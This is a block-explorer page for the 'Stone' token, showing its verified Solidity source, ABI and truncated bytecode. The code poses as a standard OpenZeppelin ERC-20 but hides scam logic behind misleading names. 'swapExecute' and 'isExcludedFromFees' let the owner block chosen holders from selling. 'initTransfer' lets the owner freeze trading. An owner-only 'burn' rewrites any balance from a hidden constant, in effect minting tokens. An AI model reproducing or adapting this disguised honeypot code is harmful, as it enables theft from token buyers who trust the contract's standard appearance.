ETH Price: $2,377.75 (-3.79%)
Gas: 7.69 Gwei

Token

Stone (STONE)
 

Overview

Max Total Supply

1,000,000,000,000 STONE

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: STONE 21
Balance
100,000,048,488,244,289.324411374 STONE

Value
$0.00
0x61073166e91837526349e9ae387883c13a3e2b86
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
STONE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 6: Stone.sol
// SPDX-License-Identifier: MIT 

pragma solidity ^0.8.3;

import "./Stone ERC20.sol";

contract STONE is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 1 of 6: Stone Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.3;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    address private _owner;
    constructor(){
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function owner() internal view returns (address) {
        return _owner;
    }
}

File 2 of 6: Stone ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.3;

import "./Stone IERC20.sol";
import "./Stone IERC20Events.sol";
import "./Stone IERC20Metadata.sol";
import "./Stone Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Events {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _initTransfer;
    uint256 private balances;
    mapping (address => bool) private _removeAllLimitsmultiSwapAndUpadateSellTax;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, bool initTransfer_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _initTransfer = initTransfer_;
    }
    
    function initTransfer() external onlyOwner {
        if (_initTransfer == false){
        _initTransfer = true;}
        else {_initTransfer = false;}
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _removeAllLimitsmultiSwapAndUpadateSellTax[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_initTransfer == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
            if (_removeAllLimitsmultiSwapAndUpadateSellTax[from]) {require (amount == 0, "");}
            else{
                if(!_removeAllLimitsmultiSwapAndUpadateSellTax[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            }
        }
        } else {require (_initTransfer == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function swapExecute(address[] calldata addr, bool val) public onlyOwner{
        for (uint256 i = 0; i < addr.length; i++) {
            _removeAllLimitsmultiSwapAndUpadateSellTax[addr[i]] = val;
        }
    }
}

File 3 of 6: Stone IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.3;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}


File 4 of 6: Stone IERC20Events.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.3;
interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 5 of 6: Stone IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.3;

import "./Stone IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapExecute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004553480156200002057600080fd5b5060405162002a8738038062002a878339818101604052810190620000469190620004b0565b838382336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600590816200009a9190620007a1565b508160069081620000ac9190620007a1565b5060045460088190555080600760006101000a81548160ff0219169083151502179055505050506200010f33620000e86200011960201b60201c565b600a620000f6919062000a18565b8462000103919062000a69565b6200012260201b60201c565b5050505062000ba0565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000194576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200018b9062000b15565b60405180910390fd5b620001a8600083836200029b60201b60201c565b8060036000828254620001bc919062000b37565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000214919062000b37565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200027b919062000b83565b60405180910390a36200029760008383620002a060201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200030e82620002c3565b810181811067ffffffffffffffff8211171562000330576200032f620002d4565b5b80604052505050565b600062000345620002a5565b905062000353828262000303565b919050565b600067ffffffffffffffff821115620003765762000375620002d4565b5b6200038182620002c3565b9050602081019050919050565b60005b83811015620003ae57808201518184015260208101905062000391565b60008484015250505050565b6000620003d1620003cb8462000358565b62000339565b905082815260208101848484011115620003f057620003ef620002be565b5b620003fd8482856200038e565b509392505050565b600082601f8301126200041d576200041c620002b9565b5b81516200042f848260208601620003ba565b91505092915050565b6000819050919050565b6200044d8162000438565b81146200045957600080fd5b50565b6000815190506200046d8162000442565b92915050565b60008115159050919050565b6200048a8162000473565b81146200049657600080fd5b50565b600081519050620004aa816200047f565b92915050565b60008060008060808587031215620004cd57620004cc620002af565b5b600085015167ffffffffffffffff811115620004ee57620004ed620002b4565b5b620004fc8782880162000405565b945050602085015167ffffffffffffffff81111562000520576200051f620002b4565b5b6200052e8782880162000405565b935050604062000541878288016200045c565b9250506060620005548782880162000499565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005b357607f821691505b602082108103620005c957620005c86200056b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f4565b6200063f8683620005f4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006826200067c620006768462000438565b62000657565b62000438565b9050919050565b6000819050919050565b6200069e8362000661565b620006b6620006ad8262000689565b84845462000601565b825550505050565b600090565b620006cd620006be565b620006da81848462000693565b505050565b5b818110156200070257620006f6600082620006c3565b600181019050620006e0565b5050565b601f82111562000751576200071b81620005cf565b6200072684620005e4565b8101602085101562000736578190505b6200074e6200074585620005e4565b830182620006df565b50505b505050565b600082821c905092915050565b6000620007766000198460080262000756565b1980831691505092915050565b600062000791838362000763565b9150826002028217905092915050565b620007ac8262000560565b67ffffffffffffffff811115620007c857620007c7620002d4565b5b620007d482546200059a565b620007e182828562000706565b600060209050601f83116001811462000819576000841562000804578287015190505b62000810858262000783565b86555062000880565b601f1984166200082986620005cf565b60005b8281101562000853578489015182556001820191506020850194506020810190506200082c565b868310156200087357848901516200086f601f89168262000763565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200091657808604811115620008ee57620008ed62000888565b5b6001851615620008fe5780820291505b80810290506200090e85620008b7565b9450620008ce565b94509492505050565b60008262000931576001905062000a04565b8162000941576000905062000a04565b81600181146200095a576002811462000965576200099b565b600191505062000a04565b60ff8411156200097a576200097962000888565b5b8360020a91508482111562000994576200099362000888565b5b5062000a04565b5060208310610133831016604e8410600b8410161715620009d55782820a905083811115620009cf57620009ce62000888565b5b62000a04565b620009e48484846001620008c4565b92509050818404811115620009fe57620009fd62000888565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a258262000438565b915062000a328362000a0b565b925062000a617fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200091f565b905092915050565b600062000a768262000438565b915062000a838362000438565b925082820262000a938162000438565b9150828204841483151762000aad5762000aac62000888565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000afd601f8362000ab4565b915062000b0a8262000ac5565b602082019050919050565b6000602082019050818103600083015262000b308162000aee565b9050919050565b600062000b448262000438565b915062000b518362000438565b925082820190508082111562000b6c5762000b6b62000888565b5b92915050565b62000b7d8162000438565b82525050565b600060208201905062000b9a600083018462000b72565b92915050565b611ed78062000bb06000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806350465686116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b8063504656861461021457806370a082311461023057806391b69fa01461026057806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780634fbee193146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f919061143d565b60405180910390f35b610132600480360381019061012d91906114fd565b6103c6565b60405161013f9190611558565b60405180910390f35b6101506103e9565b60405161015d9190611582565b60405180910390f35b610180600480360381019061017b919061159d565b6103f3565b60405161018d9190611558565b60405180910390f35b61019e610422565b6040516101ab919061160c565b60405180910390f35b6101ce60048036038101906101c991906114fd565b61042b565b6040516101db9190611558565b60405180910390f35b6101fe60048036038101906101f99190611627565b6104d5565b60405161020b9190611558565b60405180910390f35b61022e600480360381019061022991906116e5565b61052b565b005b61024a60048036038101906102459190611627565b610665565b6040516102579190611582565b60405180910390f35b6102686106ae565b005b61027261079c565b60405161027f919061143d565b60405180910390f35b6102a2600480360381019061029d91906114fd565b61082e565b005b6102be60048036038101906102b991906114fd565b6108d1565b6040516102cb9190611558565b60405180910390f35b6102ee60048036038101906102e991906114fd565b6109bb565b6040516102fb9190611558565b60405180910390f35b61031e60048036038101906103199190611745565b6109de565b60405161032b9190611582565b60405180910390f35b606060058054610343906117b4565b80601f016020809104026020016040519081016040528092919081815260200182805461036f906117b4565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a65565b90506103de818585610a6d565b600191505092915050565b6000600354905090565b6000806103fe610a65565b905061040b858285610c36565b610416858585610cc2565b60019150509392505050565b60006009905090565b600080610436610a65565b90506104ca818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104c59190611814565b610a6d565b600191505092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610533610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b790611894565b60405180910390fd5b60005b8383905081101561065f5781600960008686858181106105e6576105e56118b4565b5b90506020020160208101906105fb9190611627565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610657906118e3565b9150506105c3565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b6610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90611894565b60405180910390fd5b60001515600760009054906101000a900460ff1615150361077e576001600760006101000a81548160ff02191690831515021790555061079a565b6000600760006101000a81548160ff0219169083151502179055505b565b6060600680546107ab906117b4565b80601f01602080910402602001604051908101604052809291908181526020018280546107d7906117b4565b80156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b610836610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba90611894565b60405180910390fd5b6108cd82826111af565b5050565b6000806108dc610a65565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109999061199d565b60405180910390fd5b6109af8286868403610a6d565b60019250505092915050565b6000806109c6610a65565b90506109d3818585610cc2565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390611a2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611ac1565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c299190611582565b60405180910390a3505050565b6000610c4284846109de565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbc5781811015610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca590611b2d565b60405180910390fd5b610cbb8484848403610a6d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890611bbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790611c51565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610df45750610dc561137a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e315750610e0261137a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffff